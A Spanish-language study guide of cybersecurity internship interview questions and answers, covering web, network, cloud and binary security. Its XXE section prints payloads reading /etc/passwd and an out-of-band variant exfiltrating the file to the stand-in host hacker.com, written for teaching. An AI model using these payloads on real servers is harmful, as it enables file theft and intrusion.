Esta página es un resumen de las entrevistas por las que he pasado; cubrí una variedad considerable de roles, recibí múltiples rechazos, pero aprendí de cada entrevista, recopilé comentarios constructivos y seguí adelante.
Espero que estas preguntas/consejos puedan ayudarte.
Los roles que cubre generalmente son los siguientes:
- Prácticas en Ciberseguridad
- Prácticas en Pruebas de Penetración / Red Team
- Prácticas en Seguridad de Aplicaciones Web / Seguridad de Aplicaciones
- Prácticas en Seguridad de Producto
- Prácticas en Seguridad de Infraestructura
Consejo rápido:
- Revisa tu currículum y hazte preguntas relacionadas con él de antemano
- Si no conoces alguna pregunta/concepto, no le des vueltas al tema; comunica que podrías aprenderlo si se te da un entorno para trabajar
No puedes saberlo todo; sé humilde al aceptar si respondiste algo mal o si necesitas aclaración
- Prepara una breve biografía sobre ti de antemano para presentarte
- Ten claro tu objetivo final y el porqué de infosec
- Por último, pregunta por los comentarios al final de la entrevista, ¿por qué? Porque: ayuda a conocer y llenar los vacíos de tu conocimiento actual en infosec
He intentado anotar todas las preguntas posibles que he encontrado a continuación y he proporcionado respuestas para algunas.
El resto puedes buscarlas en Google para obtener respuestas específicas y si quieres profundizar. Aparte de eso, hay algunas referencias al final, échales un vistazo. Fueron realmente útiles.
Me encantaría añadir más preguntas a medida que avance y revise mis notas; sin embargo, agradecería que me dieras una opinión constructiva contactándome a través de [email protected].
Si te encuentras con algo que no esté cubierto aquí, no dudes en compartirlo.
Preguntas comunes
- Tríadas de seguridad:
¿Qué es la tríada CIA?
- Confidencialidad
- Integridad
- Disponibilidad
¿Qué es AAA?
- Autenticación
- Autorización
- Contabilidad
- Diferencia entre amenaza, vulnerabilidad, exploits y riesgo, y cómo se relacionan con los activos
- Amenaza:
Una amenaza es aquello contra lo que intentamos protegernos
- Vulnerabilidad:
Una vulnerabilidad es una debilidad o brecha en nuestros esfuerzos de protección
- Exploit:
Un exploit es una capacidad/programa (puede ser un software o una habilidad de ingeniería social) que se ha desarrollado para atacar un activo aprovechando una vulnerabilidad
- Riesgo:
El riesgo es la intersección de activos, amenazas y vulnerabilidades
- Activo:
Un activo es lo que intentamos proteger
- ¿Qué es IAM y por qué se utiliza?
IAM es la gestión de identidades y accesos, que se utiliza para segregar roles y responsabilidades dentro de una organización. Es una pieza crítica en la seguridad. Ayuda a mantener la seguridad y los privilegios a nivel de acceso
Seguridad en general
Fases de un ataque de intrusión a la red:
- Reconocimiento / Recopilación de información
- Obtener el acceso necesario
- Mantener el acceso
- Cubrir las huellas (eliminar registros, puertas traseras y ocultar todos los controles)
Seguridad en Aplicaciones Web
- Pregunta común:
-
OWASP Top 10
-
¿Qué es XSS (Cross-site Scripting)?
-
¿Qué es CSRF?
Esta es la pregunta más dulce que a cualquier entrevistador le encantaría hacer
Consejo rápido: Sé breve; si te lo piden, solo entonces explica toda la historia
Cross-Site Request Forgery (CSRF) es un ataque que obliga a un usuario final a ejecutar acciones no deseadas en una aplicación web en la que está autenticado actualmente. Los ataques CSRF apuntan específicamente a solicitudes que cambian el estado, no al robo de datos, ya que el atacante no tiene forma de ver la respuesta a la solicitud falsificada. Con un poco de ayuda de la ingeniería social (como enviar un enlace por correo electrónico o chat), un atacante puede engañar a los usuarios de una aplicación web para que ejecuten acciones elegidas por el atacante. Si la víctima es un usuario normal, un ataque CSRF exitoso puede obligar al usuario a realizar solicitudes que cambian el estado, como transferir fondos, cambiar su dirección de correo electrónico, etc. Si la víctima es una cuenta administrativa, el CSRF puede comprometer toda la aplicación web.
-
Cómo combatir CSRF:
Usa tokens Anti-CSRF
Usa la política de mismo origen (same-origin policy)
Uso de la cabecera Referrer
-
¿Qué es la codificación HTML/URL?
-
¿Es el protocolo HTTP sin estado?
HTTP es inherentemente un protocolo sin estado; sin embargo, el servidor utiliza cookies para hacerlo con estado
-
¿Cuáles son los tipos de inyecciones: SQL, Comandos, SO?
-
Cómo combatir las inyecciones SQL:
Usa consultas parametrizadas y procedimientos almacenados
- Revisa las cabeceras que ayudan a proporcionar seguridad (Revisa las URLs y lee el contenido; te ayudará a construir tus fundamentos):
- Hay escenarios poco frecuentes en los que un entrevistador preguntaría esto; me los encontré en etapas posteriores de algunas entrevistas y pensé en mencionarlos:
- ¿Qué es XXE (XML External Entities)?
La inyección de entidades externas XML (también conocida como XXE) es una vulnerabilidad de seguridad web que permite a un atacante interferir con el procesamiento de datos XML de una aplicación. A menudo permite a un atacante ver archivos en el sistema de archivos del servidor de aplicaciones e interactuar con cualquier sistema backend o externo al que la propia aplicación pueda acceder.
Échale un vistazo a [https://portswigger.net/web-security/xxe]
Ejemplo:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
En algunas situaciones, un atacante puede escalar un ataque XXE para comprometer el servidor subyacente u otra infraestructura backend, aprovechando la vulnerabilidad XXE para realizar ataques de falsificación de solicitudes del lado del servidor (SSRF).
- Out-Of-Band: usando entidades XML, los datos del servidor pueden ser capturados y enviados a hacker.com (no se requiere salida del servidor)
Para inyectar: document.xml
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
%remote; %intern; %xxe;
]>
<root>&xxe;</root> - you can change xxe entity to general entity
Host externo: http://hacker.com/evil.dtd
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
--- OR ---
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'file://%payl;'>"> - consider error-based
Ref: [https://phonexicum.github.io/infosec/xxe.html]
Seguridad de Red
- Diferencia entre criptografía simétrica y asimétrica
- Diferencia entre criptografía de clave pública y criptografía asimétrica: ambas son lo mismo Pregunta trampa
- Modos de criptografía (p. ej., ECB, CBC, etc.)
- ¿Qué es el secreto directo perfecto (Perfect Forward Secrecy)?
[https://scotthelme.co.uk/perfect-forward-secrecy/]
En pocas palabras, el objetivo principal de PFS es asegurar que, en caso de que la clave privada de un servidor se vea comprometida, un atacante no pueda descifrar ninguna comunicación TLS anterior. El secreto directo perfecto es posible mediante el intercambio de claves efímeras Diffie-Hellman, que proporciona nuevas claves para cada sesión y es válido mientras la sesión esté activa.
- Información sobre cipher suites:
Ejemplo: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
https://scotthelme.co.uk/https-cheat-sheet/
- Durante la compresión y el cifrado de datos, ¿qué ocurre primero, la compresión o el cifrado?
La compresión ocurre primero, ya que la entropía (dispersión) de la aleatoriedad en los datos es baja, por lo que se puede lograr una mayor compresión; por lo tanto, es ventajoso comprimir primero y luego cifrar.
- Diferencia entre cifrado, codificación, hash y ofuscación
https://danielmiessler.com/study/encoding-encryption-hashing-obfuscation/
- ¿Qué es una rainbow table? Brevemente, es una colección de hashes precomputados
- ¿Cómo funciona TLS?
Esta es una imagen increíble que encontré por casualidad; me ayudó a entender TLS en un lenguaje sencillo
http://i.imgur.com/5T2fJsG.png
- ¿Qué es la firma de certificados?
- ¿Cómo funciona Traceroute?
- ¿Cómo funciona Nmap?
- ¿Qué es una autoridad de certificación (CA)?
- ¿Qué es una DMZ y cuáles son los componentes involucrados en ella?
- ¿Sobre qué puerto funciona el ping?
Es una pregunta trampa, sin duda, pero importante.
Pista: ICMP es un protocolo de capa 3 (no funciona a través de un puerto). Una buena variación de esta pregunta es preguntar si el ping usa TCP o UDP. Responder cualquiera de los dos es un error, ya que esos son protocolos de capa 4.
Seguridad en la Nube
Hablaré en general en términos de AWS, aunque hay otros proveedores de nube como Azure, GCP, Digital Ocean, etc.
- Componentes generales de AWS:
S3, EC2, Buckets, IAM, Cloud trial, Cloud watch
- ¿Qué es IAM y cuáles son sus componentes? En resumen, IAM se utiliza para la gestión de accesos, donde usa Roles (para acceso temporal), Políticas, Grupos y Usuarios para su funcionamiento
- ¿Qué es EC2? Es una instancia elástica para levantar una máquina virtual
- ¿EC2 tiene cifrado? Sí, lo tiene. El cifrado de Amazon EBS ofrece una solución de cifrado simple para tus volúmenes EBS sin necesidad de crear, mantener y asegurar tu propia infraestructura de gestión de claves. El cifrado de Amazon EBS utiliza claves maestras de cliente (CMKs) de AWS Key Management Service (AWS KMS) al crear volúmenes cifrados y cualquier instantánea creada a partir de ellos.
Se puede encontrar más información ... abajo
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html
Explotación binaria
- Herramientas que se pueden usar para depurar un binario:
Linux: gdb, radare, clutter (GUI para radare)
Windows: IDA, Binary Ninja
- ¿Qué es un desbordamiento de búfer?
- ¿Qué es la vulnerabilidad de cadena de formato?
- Diferencia entre las regiones de pila (stack) y montículo (heap) (Podrías considerar revisar también las regiones de código, texto y BSS)
- ¿Qué son los stack cookies?
- ¿Qué es ASLR y por qué se utiliza?
- ¿Qué es la memoria no ejecutable?
Referencias
Recurso de aprendizaje:
https://regexone.com/ (¡Las expresiones regulares son imprescindibles!)
https://portswigger.net/web-security/
OWASP Top 10:
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
Preguntas de entrevistas de Infosec:
https://danielmiessler.com/study/infosec_interview_questions
Principales preguntas de Pentest:
https://resources.infosecinstitute.com/top-30-penetration-tester-pentester-interview-questions-and-answers-for-2019/#gref
Consejos de Python:
https://www.codementor.io/sheena/essential-python-interview-questions-du107ozr6
Guía de usuario de AWS:
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html
Información sobre SMB y Samba:
https://fitzcarraldoblog.wordpress.com/2016/10/17/a-correct-method-of-configuring-samba-for-browsing-smb-shares-in-a-home-network/